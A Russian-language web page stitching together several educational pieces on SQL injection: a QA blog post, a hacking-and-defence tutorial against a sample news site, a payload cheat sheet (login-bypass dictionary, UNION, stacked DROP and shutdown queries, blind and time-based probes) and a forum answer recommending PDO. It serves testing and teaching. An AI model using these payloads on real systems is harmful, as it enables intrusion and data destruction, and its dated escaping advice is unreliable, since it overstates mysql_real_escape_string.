Перейти к содержимому

Как проверить сайт на sql инъекции

  • автор:

Как тестировать SQL-инъекции

В ходе тестирования приложений тестировщик должен убедиться, что выполняются все требования к ПО. В частности – безопасность от возможного применения SQL-инъекций. Что это такое – давайте разбираться.

Тестировщик » QA-блог » Прочее » Как тестировать SQL-инъекции
5 месяцев назад 0 836

Проверка устойчивости приложений перед SQL-инъекциями

Все мы имеем опыт регистрации в Интернет-приложениях. Обычно программное обеспечение следит за тем, чтобы пользователи не могли вводить некорректные данные – например, недопустимые символы. Также в приложении может быть запрещено использовать кириллические буквы вместо латинских.

На изображение проверка устойчивости приложений перед SQL-инъекциями.

Но в качественном софте также реализуется и проверка на возможность SQL-инъекций. Дело в том, что злоумышленники могут воспользоваться полями ввода, чтобы внести туда специальную команду на SQL-языке и похитить конфиденциальные данные.

Что такое SQL

SQL (Structured Query Language, «Язык структурированных запросов») — это язык программирования для создания, модификации и управления запросами к базе данных (БД). Поэтому, если разработанное приложение включает в себя БД и, соответственно, механизм взаимодействия с ней, то с помощью SQL-запросов можно:

  • Получать имеющиеся в БД данные;
  • Добавлять в БД новые записи;
  • Редактировать имеющуюся в БД информацию;
  • Удалять данные из БД;
  • Менять структуру таблиц данных в БД;
  • Создавать новые таблицы.

Как работает SQL

SQL работает через направление запросов к БД. Например:

  • Select – выбрать запись в БД;
  • Insert into – вставить данные;
  • Create table – создать таблицу;
  • Drop table – удалить таблицу с указанным именем.

Эти команды применимы, естественно, для тех приложений, у которых система управления базами данных (СУБД) сделана на SQL, например: MySQL, PostgreSQL, MSSQL. Указанные СУБД довольно часто используются в разработке сайтов благодаря своей простоте. Однако, как мы сейчас выясним, эта простота имеет и обратную сторону: небрежность в коде может повлечь утечку или потерю данных в ПО.

Как работает SQL-инъекция

В случае SQL-инъекции злоумышленник может через поле ввода данных ввести SQL-запрос, а движок приложения обработать его. При этом SQL-запрос может содержать команду и на выдачу уже имеющихся данных, и на добавление новых, и на их изменение, и даже на удаление.

Получается, что в код как бы «впрыскивают» зловредный компонент, поэтому такой тип уязвимости называют инъекциями. Это уязвимость на стороне сервера.

Пример SQL-инъекции

Допустим, наш сайт запрашивает у пользователя id (идентификатор) товара, затем в таблице GOODS ищет запись с этим id и выдает найденные данные. Если это закодировать, например, в PHP, то будет выглядеть так:

$id = $REQUEST[‘id’]; $q = “select * from GOODS where >Предполагается, что клиент в id запишет натуральное число. Однако, злоумышленник может прислать не число, а специальную последовательность символов, например:

1; drop table GOODS

И тогда первоначальный код превратится в следующее:

select * from GOODS where drop table GOODS

Дело в том, что SQL-команды могут разделяться точкой с запятой, поэтому СУБД на SQL прочитает это и выполнит как 2 отдельных команды:

select * from GOODS where >

drop table GOODS

И если первая из них безобидная, то вторая – удалит всю таблицу GOODS.

Как тестировщик может проверить ПО на SQL-инъекции

Тестировщик может протестировать уязвимость софта перед SQL-инъекциями, пробуя ввести в поле ввода символы-маркеры SQL-языка, например:

Если приложение «съело» такие данные и ничего не ответило – есть вероятность того, что у него нет защиты от SQL-инъекций. Об этом надо сообщить программистам, они сами разберутся, в чем дело.

Резюме

SQL-инъекции – это злонамеренный запрос к БД приложения. Она может повлечь изменение и/или потерю данных на сервере. Тестировщики проверяют ПО на возможность SQL-инъекций, вводя символы-маркеры этого языка запросов.

на изображение автор Михаил Кулешов

Автор Михаил Кулешов

Михаил, профессиональный партнерский маркетолог, является основателем компании South Media OÜ, которая была создана в 2018 году и базируется в Таллинне. С 2016 года Михаил уехал из Финляндии и жил как настоящий «цифровой кочевник» в IT-индустрии, путешествуя по миру только с ноутбуком. Михаил работает и пишет статьи, связанные с IT-индустрией.

SQL инъекции. Проверка, взлом, защита

SQL инъекция — это один из самых доступных способов взлома сайта.
Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно.

Как вычислить уязвимость, позволяющую внедрять SQL инъекции?

Довольно легко. Например, есть тестовый сайт test.ru. На сайте выводится список новостей, с возможностью детального просомтра. Адрес страницы с детальным описанием новости выглядит так: test.ru/?detail=1. Т.е через GET запрос переменная detail передаёт значение 1 (которое является идентификатором записи в табице новостей).

Изменяем GET запрос на ?detail=1′ или ?detail=1″ . Далее пробуем передавать эти запросы серверу, т.е заходим на test.ru/?detail=1′ или на test.ru/?detail=1″.

Если при заходе на данные страницы появляется ошибка, значит сайт уязвим на SQL инъекции.

image

Пример ошибки, возникающей при проверке уязвимости

Возможные SQL инъекции (SQL внедрения)
1) Наиболее простые — сворачивание условия WHERE к истиностному результату при любых значениях параметров.
2) Присоединение к запросу результатов другого запроса. Делается это через оператор UNION.
3) Закомментирование части запроса.

Практика. Варианты взлома сайта с уязвимостью на SQL внедрения

Итак, у нас есть уже упоминавшийся сайт test.ru. В базе хранится 4 новости, 3 из которых выводятся. Разрешение на публикацию новости зависит от парметра public (если параметр содержит значение 1, то новость публикуется).

image

Список новостей, разрешённых к публикации

image

При обращении к странице test.ru/?detail=4, которая должна выводить четвёртую новость появляется ошибка – новость не найдена.
В нашем случае новость существует, но она запрещена к публикации.

Но так как мы уже проверяли сайт на уязвимость и он выдавал ошибку БД, то пробуем перебирать возможные варианты запросов.
В адресной строке плюс (+) выполняет роль пробела, так что не пугайтесь

image

В итоге удача улыбнулась и два запроса (первый и третий) вернули нам детальное описание четвёртой новости

Разбор примера изнутри

За получение детального описания новости отвечает блок кода:
$detail_id=$_GET[‘detail’];
$zapros=»SELECT * FROM `$table_news` WHERE `public`=’1′ AND `id`=$detail_id ORDER BY `position` DESC»;

Мало того, что $detail_id получает значение без какой либо обработки, так ещё и конструкция `id`=$detail_id написана криво, лучше придерживаться `id`=’$detail_id’ (т.е сравниваемое значение писать в прямых апострофах).

Глядя на запрос, получаемый при обращении к странице через test.ru/?detail=4+OR+1

SELECT * FROM `news` WHERE `public`=’1′ AND `id`=4 OR 1 ORDER BY `position` DESC

становится не совсем ясно, почему отобразилась 4-ая новость. Дело в том, что запрос вернул все записи из таблицы новостей, отсортированные в порядке убывания сверху. И таким образом наша 4-ая новость оказалась самой первой, она же и вывелась как детальная. Т.е просто совпадение.

Разбираем запрос, сформированный при обращении через test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4 .

Тут название таблицы с новостями (в нашем случае это news) бралось логическим перебором.
Итак, выполнился запрос SELECT * FROM `news` WHERE `public`=’1′ AND `id`=4 UNION SELECT * FROM news WHERE ORDER BY `position` DESC . К нулевому результату первой части запроса (до UNION) присоединился результат второй части (после UNION), вернувшей детальное описание 4-ой новости.

Защита от SQL инъекций (SQL внедрений)

Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.

Числа

Для проверки переменной на числовое значение используется функция is_numeric(n);, которая вернёт true, если параметр n — число, и false в противном случае.
Так же можно не проверять значение на число, а вручную переопределить тип. Вот пример, переопределяющий значение $id, полученное от $_GET[‘id_news’] в значение целочисленного типа (в целое число):
$id=(int)$_GET[‘id_news’];

Строки

Большинство взломов через SQL происходят по причине нахождения в строках «необезвреженных» кавычек, апострофов и других специальных символов. Для такого обезвреживания нужно использовать функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем (\) перед каждым специальным символом. Данный процесс называется экранизацией.

$a=»пример текста с апострофом ‘ «;
echo addslashes($a); //будет выведено: пример текста с апострофом \’

Кроме этого существуют две функции, созданные именно для экранизации строк, используемых в SQL выражениях.
Это mysql_escape_string($str); и mysql_real_escape_string($str);.

Первая не учитывает кодировку соединения с БД и может быть обойдена, а вот вторая её учитывает и абсолютно безопасна. mysql_real_escape_string($str); возвращает строку $str с добавленным обратным слешем к следующим символам: \x00, \n, \r, \, ‘, » и \x1a .

Магические кавычки

Магические кавычки – эффект автоматической замены кавычки на обратный слэш (\) и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).

Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).

Если магические кавычки вкючены (т.е обратные слеши добавляеются) и такое встречается чаще, то их нужно убрать. Это делается через функцию stripslashes($str); (возвращает строку $str без обратных слешей у кавычек и прямых апострофов).

В закючении привожу код с полной экранизацией строк для записи в БД

if(get_magic_quotes_gpc()==1)
$element_title=stripslashes(trim($_POST[«element_title»]));
$element_text=stripslashes(trim($_POST[«element_text»]));
$element_date=stripslashes(trim($_POST[«element_date»]));
>
else
$element_title=trim($_POST[«element_title»]);
$element_text=trim($_POST[«element_text»]);
$element_date=trim($_POST[«element_date»]);
>

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.

Как проверить сайт на sql инъекции

userName = getRequestString("UserName"); request = "SELECT * FROM Users WHERE UserName = " + userName; 

Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.

Комментирование

Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’— позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.

SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 

Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:

DROP/*some comment*/sampletable DR/**/OP/*random comment to cheat*/sampletable 

А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:

/*!Если поместить код в такой комментарий - он будет исполнен только в MYSQL. Можно даже ограничить минимальную версию*/ такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии SELECT /*!!50100 1/0, */ 1 FROM tablename 

Манипуляции со строками

Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:

#SQL Server SELECT login + '-' + password FROM members #MySQL SELECT CONCAT(login, password) FROM members 

В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:

//0x633A5C626F6F742E696E69 == c:\boot.ini SELECT CONCAT('0x','633A5C626F6F742E696E69')) SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) 

Обход аутентификации

Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:

' or 1=1 ' or 1=1-- ' or 1=1# ' or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 

Union injection

UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.

Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.

SELECT name, price FROM products UNION ALL SELECT name, pass FROM members #Такой запрос позволит получить данные о таблицах и найти таблицу пользователей UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables) 

Последовательные запросы

Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:

#Удаление таблицы SELECT * FROM products WHERE productName = ""; DROP users-- #Выключение SQL Server SELECT * FROM products WHERE productName = ""; shutdown – 

Возможный урон

Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.

Error-Based

Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.

Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:

' HAVING 1=1 -- ' GROUP BY table.columnfromerror1 HAVING 1=1 -- ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -- . ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- Если ошибки перестали появляться, значит столбцы закончились 

Слепые инъекции

В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.

Условные выражения

Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:

#MySQL IF(condition,true-part,false-part) #SQL Server IF condition true-part ELSE false-part #Oracle BEGIN IF condition THEN true-part; ELSE false-part; END IF; END; #PostgreSQL SELECT CASE WHEN condition THEN true-part ELSE false-part END; 

Boolean-based

Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:

TRUE : SELECT ID, Username, Email FROM [User]WHERE AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- #Этот запрос говорит нам, что ASCII-значение первого символа больше 78 #дальнейший перебор определит точное значение 

Time-Based

Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:

SELECT * FROM products WHERE WAIT FOR DELAY '00:00:15' 

Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.

Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.

Проверка сайта на SQL-Инъекцию

Вот уже почти закончил свой сайт. Но не хочу допустить прошлых ошибок взлома и поэтому хотел бы уточнить, существует ли такая программа для сканера сайта на SQL-Инъекции, хочу проверить свой сайт. Дабы кто-то не хороший в него залез. Заранее благодарен.

Отслеживать
задан 25 янв 2013 в 19:39
488 1 1 золотой знак 11 11 серебряных знаков 34 34 бронзовых знака

1 ответ 1

Сортировка: Сброс на вариант по умолчанию

  • используйте PDO (Почему стоит пользоваться PDO для работы с базой данных);
  • при обращении к БД, приводите данные к соответствующему типу.

Дополнительно, как защититься от XSS (думаю, пригодится):

  • определиться с зоной доверия переменных;
  • санитизация request-ов ( $_POST , $_GET , $_COOKIE , $_SERVER -переменные с пометкой HTTP_. — те, что приходят от клиента, к примеру, $_SERVER(‘HTTP_USER_AGENT’) ) — в идеале, написать свой класс-обёртку;
  • использование bb-логики (bbCode) для входных данных;
  • сантизация данных на выходе (опционально).

Если требуется для входных данных использовать всё-таки html-сущности(разметку), то существуют два неплохих инструмента (учитывайте их «тяжёлость»):

  • jevix (актуальной поддерживается лишь версия на perl-е) + типограф;
  • HTML Purifier

Отслеживать
ответ дан 25 янв 2013 в 19:43
5,068 16 16 серебряных знаков 30 30 бронзовых знаков
+1, PDO раз и навсегда уничтожает инъекции.
25 янв 2013 в 20:01

    Важное на Мете
Похожие

Подписаться на ленту

Лента вопроса

Для подписки на ленту скопируйте и вставьте эту ссылку в вашу программу для чтения RSS.

Дизайн сайта / логотип © 2023 Stack Exchange Inc; пользовательские материалы лицензированы в соответствии с CC BY-SA . rev 2023.11.15.1019

Нажимая «Принять все файлы cookie» вы соглашаетесь, что Stack Exchange может хранить файлы cookie на вашем устройстве и раскрывать информацию в соответствии с нашей Политикой в отношении файлов cookie.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *